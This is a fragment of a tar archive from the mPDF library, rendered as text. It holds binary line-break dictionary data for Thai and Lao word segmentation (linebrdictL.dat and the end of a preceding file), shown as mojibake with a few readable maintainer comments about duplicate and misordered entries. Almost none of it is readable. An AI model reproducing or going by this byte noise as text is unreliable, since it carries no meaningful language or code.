"XSX#XX@1#LX:X4!XI42!##HX¦@Xv#Xh"#XsBX¡@Xš@X“5"'@%2BBJXôIX·HI'XÓXÌF-+Xâ'25BXï+%BKYJ0Y0-4+!H2!K@KY<Y9@!YK#4*Y_!22#*I'![m[R#Z Y½Y«Y˜@FY¨@FY¶0-%YôYÎ@YÜ4BYí@-#LBH!Z2*!1**[(Z¥%Z #!ZrZZZ>!2!1ZQ##(L1(L Zk4!L 2*ZŒ(Z!(1L@Z™*2#@%%2)Z°()2ZÏZÄ31LBZý2Zã##Zô8B)#!LB"A[,+[%*2[024+,0B[9A H[OB*[L)*H'[_#H[j'H\l'[å![Æ[• 5D%LD[¿*1[¯0-29[º19D"#[×!###5[â25H\-@\'2"2 4!%5"2@\5"\ @%5"!I\8HI\`*\[8J\X*L!\i!%]G\È\³ \¬!\š#55\§!7-5I 8\¾1K"\ñ\æ4\á1*4-#L#]"4#-]#!]@-#L!52].-2]@2%5B]¿*]«']{%G]l4@'5"G@-#L'L%]‘ 1'#L%4H]¦DLHA]¸*LAJ]âI]ßB.]Ú2.%IK]ñJ@JK%nn fDa¼a*`=^d^R^H.^:#53^E.23%2^_#^|^y0%` #@_^Ñ^š1^¬#24^Â1 L 14'@ -#L"^ø5^ä-8^ï58@*'_ "#2"'4@ LB_ŒA_x@ _T_:#*@_IL@-#L_i *@ -#L*ALA#!@!-#LD_äB_£-%!_¸*@ -#L!_Ð_Í 1@_Ù@-#LH_óD%LHC`A*C*%5`"4B`*B-H`85@4HB`†@`p0`m*@`b2#L@-#L0A`{@A%LI`»H`—B%H`¬H2!I3#I-J`ÒI`ÍJ"`ò`ï@-#L0a"@ 5"0"acaBa4@a-2@10aS10a\4-a£%ar"%aŽa‹@%0a—Ha 0H0a®-@a·0@ePcWb añaç2"2 b  L 4#-b'b0@%c4b?2#2!4*bfbU 21%%1LLb†*1b}! 2#1'LLb¶bœ 1"b©-4!4#+bñ*bä1bÝ#01 I21I*2!IAc +4#1 -84(AI'c?-c-#2"0c8-02@cP4*1"@%d="cwcp2"1#c—"!cJ'!1#0cÕ c±c®!cÆ 5@-#L!5@5"!Acú@cé0@ *@ -#LBdA4@5"!Bd&-%A-4@5"!Ae+*dù%2dq%dcd`0dn%L05d¤4d—2%dŒ#4*%-"L4@!-#LHdÙ5@d· 5@.dÎ-*@-#L.D%LIdåHI@dð@%I**ee L4e"*4@4%44IeKA*e> *@ 5"!I#eqee1*!en!@f%e¨#LBeA.e”!.LB!*L%BeÜ@eÑ4I!2#L@G@-#LLeïBDLL@f%f -%-#L@-#LBf,@4Bf9I#2"j!fï  f¢"f ft#1"L 1L4f”"#1"L5fŸ45Dfè f³2f¿0Lfå2+fÞ2fÙ#2#+2#LD"!#hggqg?2g%!gL!1Bg824* 9B0gQ##!5gZ05"0gn##!0g…#8H! g 1!4gÇgÀ9g¸4D9%22gö2gà%4 H22DgíBD L!h4h 2"4%!9+L.hÊ*h‹%hH#5h42Gh=5G-B%5hy4h[L45Dhp1!DL8h‚580+hœ*2#L,hÅ+1h­02h¼1L24,5DiÎ@hö.Ghë1!+!1G-'LBix@#iPi%4i%Gi 4%G!!i;Gi6%G%!LiM1!L%i[#**ij%8%**iu*B%i´BižA G2D#LBi­#!%4+iÁ%D+BB*HièDiá"%LIiÿH+iú+LI#k`"jí jjA@j-#LBj:@"B"Ijl4j^0j["005ji45Cj|B"HC"j¯j¦ j˜Lj£2L40j¾024jÔ2jÑ#225jê49#05@k2k"4k"k "2'5k4B*5!k/0!HkHBkC@"B*IkVHFI@"I#!m6lÜl’kÊ#k¥k˜4@ #0*22kÀ#0#0*222lkïkè041%l2"2*9lH22#+lF#lAIl42I3AG#@lS+!9Al€@#ll5J"!#5"*24A*l#!*l LBl¾4l³*L4@ 5"DlÍB 'LD-A%Lmlý5lú2#5H50m#m/4m$-4*10+m¹%mŸ"m—!1me#m^!1"#12m12-%42@mŽ L@5""#2)m¨%*m¶)0*An@mÞ+4mÔ5*8@mþmõ5"!-#L!n 5"'#n!-#L#Bn2A!4HnkBnKDLDnbB#D LD%LH*rà(qü'qA% p+oðoÑoÊ1nønÎn¸0@%nÇ##!2"nÛ2%'nï"Lnì0L'495oˆ2o1"o#L"4o2 oToG4o>5D"8'1#!oi 4'1L'ov!4*'42(4"08o¥5"Lo¢'1#L@oÃ8#0oÀ##!0@(1%oÚ oç0 1Hp p0Bp1*p&%400p²%p^!p@ !2pL0@pU2@%I2'pk%8+pv'L+1p¢0p–4p‘2#40@7-4p­1 4Bpë@pÁ0@!pßpÔ( 1H%pè!%HqBqqI%q@%Iq%HIq1@q:@%I'%qwq`q]2#"qm2"'2"+qÑ*qÊ%%qq˜I2L8q¶%2*BDL@qÁ8!@B*2HqÞ+2#IqêHI@qõ"@'I)rÔ(rror_2r?(r42##!(1%"L5r\2%rU9#%1"54rl04rz00#r¬ r’0 4rž24r©%rÏ#r¿4rÊ2#%)(1-uù+t‰* sÊssFsBs1LB4s:!s3L!1"5sC45sk!sX2sa!21sy41(-8#Lsºsª#s§#sµ0sÃ4(+tW#t8!t 4sñ2sî25sþ455!"t!t1*!2t%"L2 28*#L'tN#HtIH'##@tq,tl+8I",*Bt€@ 5B#+"tüt£t !tÃtµHt¾H!.tÜ+tÕ+1Bté.6HtöB#H%u†#uD"+u%u"@+"Du2+'Hu?D+IH#0uX@+#2ue022(uy2#"L(2*#L'uµ%u©u¦BIHu²HHuö'uáuÕ@+'uÞHuêIuóHIH.y>-#w$v¯vjvO2v9%2B.!2 454vD2*42'2vb-*L %vœ vŽBv…2#B 2v™02v¥B-"vøvçvÎ10@và4 L@-vó5-!w w -% 2*"w!!2"-x)w’%w>#*2'w‹%4wU0H-4Bw~!@wu4wr@5"B@%*'2+wÕ*w¾) w® 0Lw» 1"L*2wÐ#92,x+1wè-Lwó1L!!4@-#L,2#6x46Hx¯Bx™@x9-2.9@%xgxUxRH -#L*'xx%5I"-x‡'-#L-*x– 4**Dx¦B D.B-Jy'IxæH-xÇBxß-HxÚ'H2BI@xÿ-xø-'By @-IB%y.y$%!.Ky;J"y8"K.*y’!yuyj.yc-7-.22#L%y…!@%@!5"!@yµ0y²*@y«L@*0ByÄ@G%B%9%9D~îC|N {ßyò%Iz #H#' z zdz6z-%28HzN-zK'2!-z]H2"7z”zy 7Iz5zŠ35H3z¡6z°I-"8z½28 *{!zâzÛI3H-#zø!7zó27-%{#I2{ -2"%-"@{B+{,*9-{9+2"-H-A{¨@{o{]G{j42#{‰"{‚ #"G*{–#G'*5{£205"B{ÚA{È{ÃG{ÓI'B| I{ðHIC| *|*-"D|CDI|&I|84@|E8@I2"~I|€+|j#!D|y+%'D*I~}K|Ñ|²|«8-|Á523|Î2%3}}-|ð#2*H2|û-2%-}2},8}'-8 #}7%}D#7-%4'@}º%}x#}d1#1}s021*}ƒ%2+}¤*1}”-1H}ŸH+8}³I28IB}ýA}Ü@}Õ44A}ëG}ö#D~BI~D!IIH*~7~0H31C~D*9C*~s""~_I2+~l"-+4+~¥*HC~Š"2D~•CD*~ *I+%~½!~¸ H!HI~Ì%2"I~Ü2#+~éH2+2ÿš°DŒW ‚ã‚K€&@†#/(L1%%a#(N%G%2**\(#5*#'~%H{B@H'1%I€H±@-#L@2L@-#LH× Ç-!Ò 2BñêH2I2DþB+HD+IJ€IK€JLKA_)€~€U€N#09I-#€b''€m#2'I€xHI@+€©*€)"*7€¤1+%17-H€´+9IH!€ä€Ð1€ÝI3%2+€ñ!8A€þ+4A+I+@2,9H4-'!H24)AM+1'CZAC'‚#{"2DL%™#I–B-D%LI%A¼@¯%2@-GLBÍA! LI‚B è%-#LAý -"D LA-*2DLIB‚=A‚*'#5HA-*BD%LI‚HB#I ‚o‚]II‚i#IF ‚ @‚€D‚‹@ D% @‚Ñ"‚¤0"2‚Á'‚º4('2@‚Ê2@ B‚Þ@-B"ˆj†3„ "ƒuƒ' ƒ%24*ƒ" 9LƒN2ƒ:1*LƒK2DLLƒa5@#5"1ƒp#1*1@ƒ´#ƒŽ"2DL*ƒ¯#1ƒ¡-*Iƒ¬1I*LH„Bƒã@ƒÏ4%#ƒÞ-#L#B%ƒó%%!4@%I„HH-I@…#„Z!„O2B„;!4D„FB!D!L!-L-„ƒ#@„m'LL„~@'-#LL-1„î0„«-D„¢@*D L0%„À-D!LA„å%G-„âG- LA#!2„ù1%2#…H2#5HB…ÉA…’@#…-*L-…‹#G…\…P#4 L-#5HG…o-#5B…‚@-#LB#5-GA-…­ G2D#L-*…¾%@%*-#LI…ÞB@*2#LI*†…ô2#"† H†5HH2"4A†!*4C†.AHC‡õH‡u#†O%2@‡l##†í†œ†%5@ -D#L†Œ#24†—(4!†Ð †±4 2†¼9†É259!4"†ê!4†ã2*4#"*‡6%‡#1‡L1L2#2!'‡/%1)L'1B‡T@‡M*42@H‡aB%H#-@4%I‡¹H%‡˜‡‘9I2!*‡¥%'D‡²*'D!IK‡òI+‡Þ‡ÕK8HD‡í+'1DK"ˆ$ˆˆ%ˆ02Aˆ6%ˆ3"%HˆCA#Iˆ`HˆY-2IKŠÌŠO#‰…ˆÑˆ-1ˆÀ0Dˆ·BA!5DLDL1--DL"ˆâ-"L"#‰‰ˆü32"‰##!"2L+‰k'‰T#H‰G1‰DD"H!@"G'44#(4%LD‰x+%D!2#9@Š'Š #‰Ð‰º‰­2!4D!L‰Ç-I-"B‰ý-‰å8#5-1‰ô"L1!LLŠ B"L'0AŠ;@Š8@Š-#@5"!IŠLA#LI%ŠxŠk5@#5"L%1@ŠŽ%LŠ‹-LBŠŸ@-#LB#Š²#@-Š¿#5-@5"!‹l-ŠûŠåL#Šô2#5#LB‹?@‹--*@‹8 ‹/ L 1'%L 14%H‹gB-‹\'LDL-DLHF%Œ%"‹‹Š8HL#‹µ"2‹£24‹®2%42#-Œ)5"'‹ò ‹ç1‹à##1# 1L2Œ'18LŒ2#L@Œ-2@'HŒK(ŒA%HŒ>2H(25KŒTHK#“l›Œ¶HŒˆ-8!(6)2H*Œ˜1@Œ­*4+LB@4Œ¿!L ŒæŒáI22 Œõ4# 9#"L#5L49%"LCJ-##+Ž½%Ži#p!Ik-I2#- ”4# ª9#"L5'Í!Â6!2#5H*Ú'1*Lë1LL4Ž,2Ž1Ž - 51 3Ž)2#L5D#L39Ž@5Ž=45@ŽI9HŽV@'H*Žd%*!(Ž”%4Ž}-HŽ‘4*4H*Ž­(2%Ž§%5*4Ž¸4B@ŽÐ+2#@#Žß4(Žû#2Žö#1!20()DuB###<,%-#L9L!Q4%D%L%h!-#LDL%9D LH„D#LHD–J-D!w n#Èà 2"L×28ä1%I2*ü#0A**4@0% #L'-%%L%L-LLAA@-#LB_AV G LB#D%L #4"“G!%ÉŸ–2#-"À#5 ¹4 2"#2B‘@ï%Lì451!L@þ#-#LH‘ÎB‘-*#%‘i‘I ‘>#1! -L!‘Z4%L!!4@-#LB‘©@‘~%4#@!‘—-#LDL'‘¤!#'D‘¶BD%‘Ç%L%LI’H#‘ï!‘ê1!5*‘ü#9IC’ *9IC HI%’´’l’M’='’6'23’J13’e2’`#52"'!!’Œ’…##11"’¢!7-’Ÿ-"2’¯!2'@’ñ*’Ò'’Í%-"'2-’ê*9’å-"9-1B“A“@-A“HD“5B“)-“2-D%“BH%H"D“U5H“iD"“f"H*–W'”ã%“´#@“™"“”1"LH“¨@4%I“±HI%%”J”)“âL@'“Ý-#L'” LA”@.'5H@'A!5”#2#55@#5"!”4L"”G!-DL"A”-”[%2@”h--@”y *L%”ˆ##4%"H”§D” A%D%II”àH”½'@”ÊI3@%5H”Û"H"I(–G''•••6•9• 49L•%9#"LL•3"LL"•]•TL•Q@"LL#•Ž"2'•v#L'1!•‡#!1"#1*@•¼(•ª'##)•µ(")D•þB•×@# 1HB-%•è!4@•õ%4@%GI– DI%–$"–1'"(-–1%2"C–B-2%1"C('–R%'0-—ø+—E*'–¤#–Ÿ"2–ˆ(2*#L@–˜2*L@'#I+–Ø'*–¾2A*8'–Ï*!'##I–å+1'I-—–ý#-(—4—14H(6@—--1H'D—>@7-DH+%—±—d—a -!—w%2#I2#—!I—-I#1—Ÿ"LH—®1"LH+—ß'—Ù%H—ÍI3H'5'IH—ì+%3I—õHI.™§-"˜v˜6 ˜-˜- A%L2B.˜\˜G5L*D@5"!˜o5@-G!H)™,'˜è#˜œ"@˜•#2@#(#4˜¸2˜¯-2'1L˜Ã4 LA%LC˜á@+7-CI(™'-#5B*L('™#5!9™#'##"L9#"LB™W-™G)*'##L--*™T*I™¤B™n B-™@#*-'™Ž5@™™'2@5"I.@™å™¼#2"™Ç5"2D™Ü 4LD%LBš @™ø-#L*5Dš«Bš*#!4@-#L%š¨#!š^ šO2#L- 4DL@šs!4@-#L@@š 1%DL@-#L--D L%Dÿvendor/mpdf/mpdf/data/linebrdictL.dat000064400000367724147600022140013572 0ustar00ŸÂ&•\=‡2†‚P¾ # ªòœ{Š²”¹² duplicate of an earlier entryœÉ¹ like œ¹É above but has wrong order of vowel & tone mark­wª°šÈ¹ like ª°š¹È above but has wrong order of vowel & tone mark­´”—´ž»™ duplicate of earlier entry¶a± ¶§¥£µý´ø²¡õŸ´¡´Š»µ»§Šµ¥²ª´­¢§±H™<”9”¡E™¡½|²Y±²”d‡¥m”¥²¥³ÀžµÈ‡½™É’Ȳɲ‡‚§²‡°ë­™Ì‡¹”ɇ—±š”šÕ™¡Þš¡¡¹™´”°žƒ•vŠl‡½­š½¡ˆ'‡È­™ˆ¹O²J±š@”š›µÈ²»Z¹Èe»È²£Š°Š­…§‡­™´“°Éž´šÉ²”®·”¸´Ó²”ǙД™µò´‡äÈí‡È‡µÈý‡Éȇə‡™½N¹@¸¡-É;¡žµÉ‡¹¡K¡ÉY½¡É²f­¡½q²‡½¡™ë–:•·Û±§°›§‡°À§—µ²È±‡¸™Á‡™¹´Ó²š´É§¹¸ö·¥·¥»É™¸™É ™É™È¹šÍ3Ƚ.²½§ÍȲ—G–±‡—·¤±c°`­¡°³Ž±”t‡™„”¥±”™«±™´ž³œ´”´‡»Å¹À·È»šÈ¡¹ÉÈ×»š±™ÉäÈ­™É­¡šú™µÂ”›Nš±3­§™™°0­‡-‡°µ>±‡»IµÈ»”›¹f¸a­‡¸Èo¹Ë|È­‡Ë­‡«ø¥å¡¥ž» °»‡£Æ¡¶¸±‡Íö‡Í£²Ó±”²ŸÞ”Ÿ´§m¥³/±°§±”² ±‡²¥¡ª*¥´Á™”ªµ¸<³›µÍI¸™²ÍȲ›]”­Ãh›µÃšªŽ§µ€²»‰µ»™ª²Å­ª§™§™±µ­š±ÈÀ”È™¹è´Ö²´³å­™³½ó¹™½™À_­5«·%µ²µš"™š»0·¡»™®X­±H­¡¶S±¶®­ ïÁ †À› ”‰Š„™Š´—Æ”±š·¥±™·È²­™É¿È­‡É­‡šû—·ëµ™ßÈè™È·­™ø™š·É­‡¥ Sž %›»Ë ²Ë²£ Lž· 8²°» G·È­¡»²£À•ª k¥² f±²°« ª”•°³«µ¡Á— ·ˆ ›‡È¡Š §ˆŠ± ²°±”¥ Í—È ÈÈ™ª 쥡 ÞÈ ç¡È‡ªÄ ¨Â› )• ”‡ ” ‡”– $•–™¥ Jž E›È @‡È‡ž« ¥› p” g«»§”µÂ­À {›²È ˆÀ”ȇ«¥ ˜¼ £¥¼Ä• ³”•³ñ² 0±š ½” ‡ þ• 悱‡¡ 󕻧¡±™”¹‡§ š±‡§» ²™»™™ ƒ”£ R• :Š³¡ G•²”¡µÀ­™ª e£´¡Â¡™À zª°¥¹®µ¡À®ÀŸ™” ž ™±š²¥ ¶”²À ±™À¥µ¡È ­ šÀ Ùš² êÀŠÀ­™Âš •À ÿ£µÀ£š™­É "È™ ”™É™ -‡™²h” CŠ ²‡ ’± u• _³° l•¹¡°š²”² €±”µ ²¥µ™µ‡Á ¢À‚™Á‚ ­‚™ ⊲ бª°–²™´ Ù²´ÀŸ™  Š²À¥ £¥°³° ™²™À :°ª 3³ª´™À›±™™ ˆ• ”µ q² j”µÀ­™²£² zµÂ¡™•²¡š3™¥ ã‚ µ°— ®ˆ²—»š— Ü‚¶ Ȳ”É Õ¶É™É½™—¹”À² ö¥²²¢”²­¢´¡­²™Â#À™Â™0™™›Yš¹Iš»§»T¹™»‡›²Â”À§•¢Á¡²¡µ³²ª¡²¡°¥»¡²¥»¡²¥»¡¹¼µ¹™£Ð¢°Ÿ²¥£²þ°•ë²Âù•²™Âš´ ²²”´²•»§£¥²o±j°§Gš@™²™š¹™ÀT§±”ÂcÀ—ª°Â¥±™µx²¸ŽµÈ‹À¥È¸™²®Ï­©§”²­´¿²™¼”™µÊ´™µ™ÀÝ®²¡Â©ÀŸD”Š¡´”Š± ™²±”›,”±”š²À™­²›™²­¹?¸¡¹¡£g¡SŸ¡µ^™µ£¹™¥“£±ƒ­~š­²ÀŽ±À•¥À ±šÀ­±”šԕ¾À£•¥Í£´¥´¡ãš£­™¥î¡™¥´¿³¡™'ˆ±š ˆ±”²™›FšA™»”²™šµž‰›²f±Éașə¹s²¥²¹Àˆ±‚±ÉžÉ²Á{®Z¥4¡²°—ߊ˲ƭ™²™ØŠµšµÈ¢šÿ—´ö³´²™š²™ª¢µÈª´”²—)Šµš—´²™¥±‡ˆH‡²™®Sˆ°®»šÀg®²À§v™µ”§™Ü Ä›ÁÜ”ž‡Üəĥݸܻ³±”»”ݱ”µR´¡•ÉŠÜ”úŠ²ó°Â¥™²Š²”•SŠ*ˆ²™ˆ°³'²™³”HŠ°À?›²À¥±š”±™•µ¥¨—Ÿ•´p²¢´¡µ™´”…„¸™¡Ž”¡°ª±µ¡—¸¥°Àµ¥´”ÂÂÀ”™Â£™™•´Ú²Èû´¡ð„¸™¡°ª±È²šÇ™­?¡)™"²™™­™¥6¡²”¥É½‡Á¦ÀR­²À™c‚»É²«Œ™Àx—­Â…À£”—™«¼¥»É²¼»É²Â¾ÁܹŠšÜ‡Âš­²š²æšáŠ²¢´¡š²Àó²­²ÂÀšÂ—™Â£”®±”•²§²Àz¥9¡Â4®²¡ÂŠªg¥´Q²¥²µ^´²µÀª°Â¥”•²ÂšÈ"Â×À¢´š ”­™µšÂ­­²Â­™£Á¢±š¥Î£À™¥­²”•ï”ꊙ”¡¥ø•¥Á°£²¡°¥²¡Á¡±”ÉMÈ™:‡Ä¡É§J™«­¡§É‡µ¥x•©Šo²Šµ”ŠµÂ‰Á™±šÂ­™”‚ ±™‚§²‡šÅ™¼•É²™²”£Îš£µm´­¢²”Àö­²£µ¡À¢­²£µ¡­²”­>š"—²¢´¡ª3š²­²™ª±™™²®Q­²£°š²Àd®¸”Š”ÀªÀŸµš²•µÁ­«ª¢¥µÂ›À­™ª°Â›À¶­²À™Ð”ÇŠ”­™£Ù™¥ £®ñ™µÂ­À®²À£Àª±”À™¥­²š”šÈOÂ2Á­šÂ”?Š™®J”™®™É[șɇ½j¸‘·x¶·‡ƒÉŒ‡É‡¹£¸š”Ô‡®Ë‡ÂÄÀ—šÂ£¡¢²™—ü•÷”Â”²•´™—²™Á•¹£ÁˆªN¡.šÂ£¥I¡¡Bž²¡²™¥µÈ|«fª»™³«¼u¥²š¼²šÉŽÈ¡„»™É¡™‡¡¥¸¡»O¹š”îŠÀŠµë²¢æ™£´Š²—²¢´¡¢²µ™÷”™ÁµÁˆÀ"­š²­²Â•ÉLÀ£3Š§G£š²­²™§”É»šÂ”8‡‰ÀqµÄ‚À„»É²Ä¡É‡ŸòˆÂ‚®±™‚ɲ¡‚É»±‡É²¡•Ïˆ±žÜ•£²ž¹é±”¹ÀŠµÂ¡ Ÿ¹ÀŠµª¡²ª¸™Ä&ÂÜ1Ä›Üɲ™‹”šj”T‚µÈ”µa±™µ§»§Àwš±”Ý„À™Ý²™­¬¥¡ˆ±¥°¸”Ľ­¸š²Ä§ ¡Ñš¡¥ò¡ç½§¡°—ȲÂÿ¥±‡ÂŠ¡­™È6§À)¥²¥³À›µÀ•¡²¥²ÉJȧG‡§É¡^™—°À¥§g¡§Ê‚È ½™â”­µª•ŠµÀ¦ª°–²™ÀŠ”½Š±‡•Ê»”•´ªÛ»”ª±¡ë™§ ¡ž²™žÉ­¡§ÉÝȲ=­™&‡¡:™À‚»É²¡½—²§U­‡§­r«mŸÉ­‡«²À­É²‡ÂÀ–´‡Â—”½§”¸‚¯±š‚É­‡žÅ”­‡ÀÒž±™À‚»É²É²­ð§­™û‡¡™¡½k²§6™*—%‡—³¡3™¡ÀS«L§Üɲ«²™ÁbÀ®±”ÁÈ™½¡v‡§¡§ËšÊ²•­²”ͧ˭šÍ¥à•»„·£È•²¡£°»Û°”²»”Èü¥°™÷»”™µÉJÈ•!„§™„§²¡ª0•±É‡²?ªÉ²‡²›±È™É²„(T‚·$±"S­é§±˜™„”‡”š•™À‚µ™šÈÕ²´±É¯™É™²É‡Æ‡™Ò™ÍâȲ‡Íɲ° *­” ‡ ‡™ ”š ™šà %À‚”È°¥!š Æ Pˆ´ K±”´”™ ² l± g°±š´ €²” }”µ ‹´šµÉ™° §™² ¦°²™ º” ·”š Ùšž 𚴠৙²™» ë´”»”¡ ýž²š¡°! §”Í!°ÍɲÁ!¹«!4¥¸!1°¸À!b«±!I­‡²!]±š!Z™š²À™!œ!yˆ»É²·!†µš»!•·É­™»È²¡!§™‡¢!²¡™¢±Ü"Â!üÁ«!Ý™!؇™°Ü!ì«È‡ÜÈ!÷‡È‡Â¥" ¡¥À­Ý"JÜ»"5²™")”š"2™š»¡"@š¡›±‡ÝÈ­¡µ#k²#±™"½”"p‡”„"š‚"†±™‚·"•§²‡·™–"©„ɲ™Á"´–¹Áȇš"˙ĔÉ"ۚĥÈÉ™"æ”™Ã"øŠ±É™Ä#ÔĔ²š#/”### ‡™#,”™§#A¡#>š¡­#J§À#W­­À„#h‚»É²„¶#øµÂ#Ž”#‚‡™#‹”™È#™Â­É#²È§#¯–µÈ§ÉÀ#–µÈÝ#ïÀ«¥#Û·É­¼#襱¼±Ý´É™¶¡$‡É$ ¡É™½%é¹$̸$U·È$>™$;‡‚±‡™É$IșəÜɲ¸¡$ ”$h‚°™$z”„»É™™™$Œ—ɲ§ª$™™²‡ª²™È$©¡É$¾È™$»™É¡$É™¡»$ð¹È$ä”®µ”ÈÀ‚±™»¡%r™%”%‡À%ˆ·ÉÀ‚””š%o™«%Fª%=‚§²ª»È‡Á%f«¼%]¥»È™¼»È™Á‚ȇšÈ%–§%“¡‚·È%Ž™È™§É%ËÈ¡À%¹‚¹%´·™¹ÈÀ«±%Ƈ±‡É¡%Ö™§%ß¡§Â¥É&^È&8½™& ”&‡”š&(™À&!—§²À­‡§&5šÝ¹§È½&Y²§Ã&Rª²™ÃÝȽ‡Í'}ɲ&ˆ­&|‡Ãˆ™&…™½'o²ž'&õ‡&ª„»™‡Ã&Ö«&À™­«¼&Ï¥±‡¼±‡Ü&áÙÜÉ&ð¶È‡É²”&þ—'”—²”¥'7¡'4ž´'/°Àˆ»É²´”¡ª'L¥²Š°²™«'Yª±”«¼'h¥§‡¼§‡½§'z™§Í®'´¢'“—²™­'«¢¸'¦·¡¸”­°ÄžÂ'îɭ‡É'З”É¡(•'脧²¡š(•»'ûµ™Í( »¥»‡ÍÈš±‡„±š«(4¡¹(/·¹™­(K«¸É‡²­É²‡„µ.k°*@§)¥(ÿ£´ª(À”¡(Œ•°ˆ±ª(™¡²”ª°(·•½(²°ˆ±½™°•½™ª¡(à•½(Û°ˆ±½™°(ö¡²ª(󔪰•½™¥´™) ™´­)§§²)Hš)*™±):š„¸¡±™)E”™É)È)z²)i‡)f‡¡)r¡”µÈ²‡Í)•É³)’²³ÍÉ)¢È²É²­”)æ‡)¸)܇—)Ì„µÂ)×—³Â–ɲš)ø™)õ”™¡*š‡*„»*­‡»§‡³¡¡*5ž´§À•µÉ¡¹™´”²,:±+2°™*o•*_”µ—*j•´—°À+¥*÷™µ*Ü°*Ž­‡´*Ç°ž*±*ªŠ²”²”­*¾ž±­´À´”*Ò‡”ª²”¶*絇·*ò¶‡·‡¥»+³»Á+ À™±+‡±‡Á¥+-™™¥‡±š+«”+S‡+PÁ™È‡™+v”À+k„ɲ™À¥·­™™+ˆŠ±È‡À+“™²À¥+¢”­²¥±È‡È,§,šš+ß„+Í‚±™„²+ܱȇ²£+îš²—²Á,£µ,´À­™µÀ­™Á„š§”É,%ȇə,7‡„²§™³-œ²š- ”,tŠ,f‡,c•´‡,qŠ²—,ì–,甥,¹„,–²™•,¥„°À™•°³,¶­™³²,Ó§,Ì¥»”§È²Ý,ಣ²Ý²–²™,ý—Í¥´™À”­²¥-H¡-%›-š›´”¢-=¡²¥µÀ­±™¢²Ÿ²”Â-Œ§-„¥µ-e²À•»-µÂ-xÀ¥Â­™»¡§½Ã-—¢È´. ³£-ô›-♲-ɱ-ħ™±š³-Ô²¡·-ݳ·‡ž-§žµ¥.£²¡ª.¥²¡ª±È.šÈ‡´™.J‡.1”.D‡ª°•±™”µ§.]™À™Â£”É.f§É§»0m·.˶.¶µš.Ÿ‡.™.˜‡™²¡.¨šÉ.±¡É§¶”.È„¡”¸/·š.æ™.ã”™È.ïšÉ/È™/‡™É™¥»¡¹0$¸š/â/0‡/-‡™/@¡ə›/•—/V„Ȳ™/a—³™²/°§/xž²šª/‰§¸”—´ª±š²¡¥/µž/®›°Â«”ž²šª/Ê¥±ª°™°ª»/×±š»¡š±”È/û¡/ñš¡‚±‡É0șɡ0™À„µ¡„­‡¹¡0D™06”š0?™š²«0Zª0S¡ª­™È0e«²È¡·È1~½1N»š0º”0¥‡0‡—»0 µÈ»™™0·”„ɇ™§1 ¡0ìš–0քɲ®0å–ɧ™®­š¡¡0ü„²¡°™²„»¡É1§É§1K™ž19„»12´”»É§«1Fž»š«²§½™1r”1h‡‚ɲ‡”Š±‡§1{™§É1àȲ1·­1—§‡­1«‡Á„ɧ™1´™³1À²½1ɳ½¡1Ô™§1Ý¡§Í2@ɲ2­1ù§²­2‡™2 ™½2;²2/‡2,‚²‡™28™½§ÍÀ2_«2X¥°«²«­È2pÀª·É­É2|ȲɲŠ¹Š<È4¹‡¶3[²3"­2ܧ2±„³§”2Å2‡²2Δ²2Ù±3 ­”2ö2ó™2ÿ”¡3™¡±™3”š3™š´3I³3F²™3:¡3C™¡³µ3V´É§µš»3ȸ3·3‚¶”3x”‡ÍÉ·š3™š¹3º¸È¡3¬š3©™š²3µ¡²¹À«»È²È4*½4%»š4”3凔À3õ‡²¡À§±É™¡4 š§4¡‡§²§›È²½šÉ4{Ȳ4H­4C§‡­¡½4v²¡4j™4g”²™§4s¡§½‡Í4§É²4Ž§‡½4¢²§4Ÿ‡§½‡ÍÉ4³Èɲˆ¶9L²6Ê°5­4᧚4Þ™š­”5 ‡4ò‡À5«­‡À§™š5”¡5š¡±5{°«5V¥5>•¸¥±”¥´5O²ˆ»™´°À5r«¼5k¥§”¼§”À¥µ™±™6^‡5ö¥5ш5È°ž5©²™§5¶ž±”§²5ñ”²™ˆ±É™«5Þ¥»”Ü5í«´šÜÈ­”6‡«6 §°«§°”•6.‡6'²™‡²™§6J•±6C°§²±É‡Á6W§²‡Áˆ‡È6µš6„™—6x²—°„²”šÃ6£ˆ6š¸¡ˆÈ²Ä6®ÃˆÄ”ÉÉ6ÅȇÔɇ´8³7U²£7™6ñ‡66ú™¡°¥µ§7C¥7£´”¥¶7>°ˆ7,³ˆ»79­™»™¶Ä7L§Ä¡²³«7¶ž7¢™7q±”™³7”§™«¼7¥²¼²»7³»™¥7¯ž§¥­‡Á7ýÀ7Ë«‡²Àž7é›7₱ț±™¥7öž²°¥µÜ8Á¥8™¥‡ÜȲµ8õ´™8À”8P‡8;‡Ã8Kˆ±‡Ãˆ•8µ”§8™8’•°™8t³§8…™´»¡§´—°²™´»¡Ã8°§´™²™Ãˆ•£°³¡8çš8Ý™•°™²²™š«²È8ð¡È‡µ¡9"™9‡9 ‡š9™š¹•µÈ96À91¡À¥É9FȈÍÈÉ¡»:ø¸9¡·9e¶È‡·™9…ˆ9w”9‚ˆ³”È9Ž™É9œÈˆ³É™¹:w¸¥:!”9˱9ƪ½š±™™9ù”¥9å›°ª»‡Ý9ò¥§¡Ý²™¥°—: Šµšž:—±”ž²È:L¥°—:8Šµš«:E—±”«±”É:iÈ¡:]™¡™Íɲɡ:t™¡¹š:¹”:™Š:”‡ÃˆŠ²™:¶”Ä:±Àœ»²ÄŸ™¥:Ó¡:Èš¡Àˆ·­È:䥰ž²É:ïȡɈµÉÈ;ν;À»™;q‡;”;0‡®±ž±”µ”À;Q—;FˆÍÈ—°š½™Ý;jÀŠ±™š±™ŠµÝ²¡;Šš;€™š¥»‡È;«¡À;¢™ÍɲÀ¥µÈ¡;¶‡¡‚¹È½¡;ˇ¡É<Ȳ;ê­;燲™<;ü‡À‡´™¡<™§<¡§Í°¡=á•=›„=‡µ¥²‡=”„²”‡±š=É™=°•²‚µ™´=Ä°À¥µ”´”Ÿ=Øš²Â•Ÿµ£²­>&¥>¡µ=ü´™²É> 